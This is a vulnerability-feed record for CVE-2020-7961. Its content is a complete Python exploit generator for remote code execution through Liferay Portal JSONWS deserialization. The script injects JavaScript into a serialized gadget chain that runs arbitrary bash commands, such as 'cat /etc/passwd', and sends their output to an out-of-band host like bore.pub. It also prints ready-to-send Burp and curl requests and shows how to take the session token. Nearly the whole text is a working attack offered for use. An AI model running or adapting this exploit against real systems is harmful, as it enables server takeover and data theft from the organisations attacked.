{"uuid": "499e5fad-e27d-46b1-8e7c-c2ca8204acb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-7961", "type": "seen", "source": "https://gist.github.com/LVy-H/daa99a59da63473d94ce09d186e24861", "content": "#!/usr/bin/env python3\n\"\"\"\nCVE-2020-7961 payload generator \u2014 Liferay Portal JSONWS deserialization RCE\nPatches the Apache Commons Collections gadget chain with arbitrary JavaScript.\n\nUsage:\n  python3 cve_2020_7961.py    [options]\n\nExamples:\n  python3 cve_2020_7961.py \"id\" \"bore.pub:9999\"\n  python3 cve_2020_7961.py \"cat /etc/passwd\" \"abc.oastify.com\" --burp\n  python3 cve_2020_7961.py \"whoami\" \"bore.pub:1234\" --host target.com:8080 --p-auth l8T5rvIy\n\"\"\"\n\nimport os, sys, urllib.parse, argparse\n\n# Base gadget chain \u2014 Apache Commons Collections 3.1 + ScriptEngine (Java serialized object)\n# Source: cve_oob_payload.hex (OOB DNS-only payload confirmed working on this target)\n# JS string is at byte offset 0x0415 (TC_STRING tag), content at 0x0418, original length 346\nBASE_HEX_FILE = os.path.join(os.path.dirname(__file__), \"cve_oob_payload.hex\")\n\nJS_TAG_OFFSET = 0x0415   # byte index of 0x74 TC_STRING opcode\nJS_CONTENT_OFFSET = 0x0418  # byte index where JS UTF-8 content starts (after tag+2-byte len)\nJS_OLD_LEN = 346         # length of original JS string in base payload\n\n\ndef load_base() -&gt; bytes:\n    with open(BASE_HEX_FILE) as f:\n        return bytes.fromhex(f.read().strip())\n\n\ndef build_js(cmd: str, oob: str) -&gt; str:\n    \"\"\"Build JavaScript for ProcessBuilder RCE with OOB exfil.\"\"\"\n    safe_cmd = cmd.replace(\"\\\\\", \"\\\\\\\\\").replace('\"', '\\\\\"')\n    return (\n        'try {\\n'\n        f'  var p = new java.lang.ProcessBuilder(\"bash\", \"-c\", \"{safe_cmd}\");\\n'\n        '  p.redirectErrorStream(true);\\n'\n        '  var proc = p.start();\\n'\n        '  var br = new java.io.BufferedReader(new java.io.InputStreamReader(proc.getInputStream()));\\n'\n        '  var out = \"\"; var line;\\n'\n        '  while ((line = br.readLine()) != null) { out += line + \"\\\\n\"; }\\n'\n        '  proc.waitFor();\\n'\n        '  var enc = java.net.URLEncoder.encode(out.trim(), \"UTF-8\");\\n'\n        f'  new java.net.URL(\"http://{oob}/out/\" + enc).openStream().read();\\n'\n        '} catch(e) {\\n'\n        '  try {\\n'\n        '    var enc2 = java.net.URLEncoder.encode(e.toString(), \"UTF-8\");\\n'\n        f'    new java.net.URL(\"http://{oob}/err/\" + enc2).openStream().read();\\n'\n        '  } catch(e2) {}\\n'\n        '}'\n    )\n\n\ndef patch_payload(base: bytes, new_js: str) -&gt; bytes:\n    \"\"\"Replace the JS string in the serialized gadget chain.\"\"\"\n    js_bytes = new_js.encode(\"utf-8\")\n    jl = len(js_bytes)\n    # Structure at JS_TAG_OFFSET: [0x74][hi][lo][...js content...][rest of payload]\n    return (\n        base[:JS_TAG_OFFSET + 1]              # keep 0x74 TC_STRING tag\n        + bytes([jl &gt;&gt; 8, jl &amp; 0xFF])        # new 2-byte big-endian length\n        + js_bytes                            # new JS content\n        + base[JS_TAG_OFFSET + 1 + 2 + JS_OLD_LEN:]  # tail (skip old len+content)\n    )\n\n\ndef make_post_body(hex_payload: str, p_auth: str, column_id: int) -&gt; str:\n    \"\"\"URL-encode the JSONWS POST body.\"\"\"\n    user_overrides = f\"HexAsciiSerializedMap:{hex_payload};\"\n    return urllib.parse.urlencode({\n        \"cmd\": '{\"\\\\/expandocolumn\\\\/update-column\":{}}',\n        \"p_auth\": p_auth,\n        \"formDate\": \"1784000000000\",\n        \"columnId\": str(column_id),\n        \"name\": \"x\",\n        \"type\": \"1\",\n        \"defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\":\n            f'{{\"userOverridesAsString\":\"{user_overrides}\"}}',\n    })\n\n\ndef print_burp_request(host: str, body: str) -&gt; None:\n    lines = [\n        f\"POST /api/jsonws/invoke HTTP/1.1\",\n        f\"Host: {host}\",\n        f\"Content-Type: application/x-www-form-urlencoded\",\n        f\"Content-Length: {len(body.encode())}\",\n        f\"Cookie: JSESSIONID=; COMPANY_ID=20155; COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=vi_VN\",\n        f\"Connection: close\",\n        \"\",\n        body,\n    ]\n    print(\"=\" * 72)\n    print(\"BURP SUITE RAW REQUEST  (paste into Repeater)\")\n    print(\"=\" * 72)\n    print(\"\\n\".join(lines))\n\n\ndef print_curl_command(host: str, p_auth: str, hex_payload: str, column_id: int) -&gt; None:\n    user_overrides = f'HexAsciiSerializedMap:{hex_payload};'\n    print(\"=\" * 72)\n    print(\"CURL COMMAND\")\n    print(\"=\" * 72)\n    print(f\"\"\"curl -s -X POST 'http://{host}/api/jsonws/invoke' \\\\\n  -H 'Content-Type: application/x-www-form-urlencoded' \\\\\n  -b 'JSESSIONID=; COMPANY_ID=20155; COOKIE_SUPPORT=true' \\\\\n  --data-urlencode 'cmd={{\"/expandocolumn/update-column\":{{}}}}' \\\\\n  --data-urlencode 'p_auth={p_auth}' \\\\\n  --data-urlencode 'formDate=1784000000000' \\\\\n  --data-urlencode 'columnId={column_id}' \\\\\n  --data-urlencode 'name=x' \\\\\n  --data-urlencode 'type=1' \\\\\n  --data-urlencode 'defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={{\"userOverridesAsString\":\"{user_overrides}\"}}'\n\"\"\")\n\n\ndef main():\n    parser = argparse.ArgumentParser(\n        description=\"CVE-2020-7961 payload generator\",\n        formatter_class=argparse.RawDescriptionHelpFormatter,\n    )\n    parser.add_argument(\"command\", help='OS command to run, e.g. \"id\" or \"cat /etc/passwd\"')\n    parser.add_argument(\"oob\", help='OOB host:port, e.g. \"bore.pub:9999\" or \"abc.oastify.com\"')\n    parser.add_argument(\"--host\", default=\"localhost:8080\", metavar=\"HOST:PORT\",\n                        help=\"Target host:port (default: localhost:8080)\")\n    parser.add_argument(\"--column-id\", default=20438, type=int, metavar=\"ID\",\n                        help=\"expandocolumn columnId (default: 20438, confirmed working)\")\n    parser.add_argument(\"--p-auth\", default=\"\", metavar=\"TOKEN\",\n                        help=\"p_auth token from a live session (get from page source: Liferay.authToken)\")\n    parser.add_argument(\"--burp\", action=\"store_true\", help=\"Show only Burp raw request\")\n    parser.add_argument(\"--curl\", action=\"store_true\", help=\"Show only curl command\")\n    parser.add_argument(\"--save\", metavar=\"FILE\", help=\"Also save hex payload to file\")\n    args = parser.parse_args()\n\n    base = load_base()\n    js = build_js(args.command, args.oob)\n    patched = patch_payload(base, js)\n    hex_payload = patched.hex().upper()\n    body = make_post_body(hex_payload, args.p_auth, args.column_id)\n\n    print(f\"\\n[+] Command    : {args.command}\")\n    print(f\"[+] OOB expect : GET http://{args.oob}/out/\")\n    print(f\"[+] Target     : http://{args.host}/api/jsonws/invoke\")\n    print(f\"[+] columnId   : {args.column_id}\")\n    print(f\"[+] Payload    : {len(patched)} bytes ({len(hex_payload)} hex chars)\")\n    print(f\"[+] JS size    : {len(js.encode())} bytes (was {JS_OLD_LEN})\\n\")\n\n    if args.burp:\n        print_burp_request(args.host, body)\n    elif args.curl:\n        print_curl_command(args.host, args.p_auth, hex_payload, args.column_id)\n    else:\n        print_burp_request(args.host, body)\n        print()\n        print_curl_command(args.host, args.p_auth, hex_payload, args.column_id)\n\n    out_path = args.save or \"/tmp/pentest-checklist/cve7961_payload.hex\"\n    with open(out_path, \"w\") as f:\n        f.write(hex_payload)\n    print(f\"[+] Hex payload saved to : {out_path}\")\n    print(f\"[+] Expected HTTP 200 response: flexjson.JSONException (gadget ran OK)\")\n    print(f\"[+] How to get p_auth: curl -s http://{args.host}/web/guest/home -b cookies.txt | grep authToken\")\n\n\nif __name__ == \"__main__\":\n    main()\n", "creation_timestamp": "2026-07-20T21:03:55.541191Z"}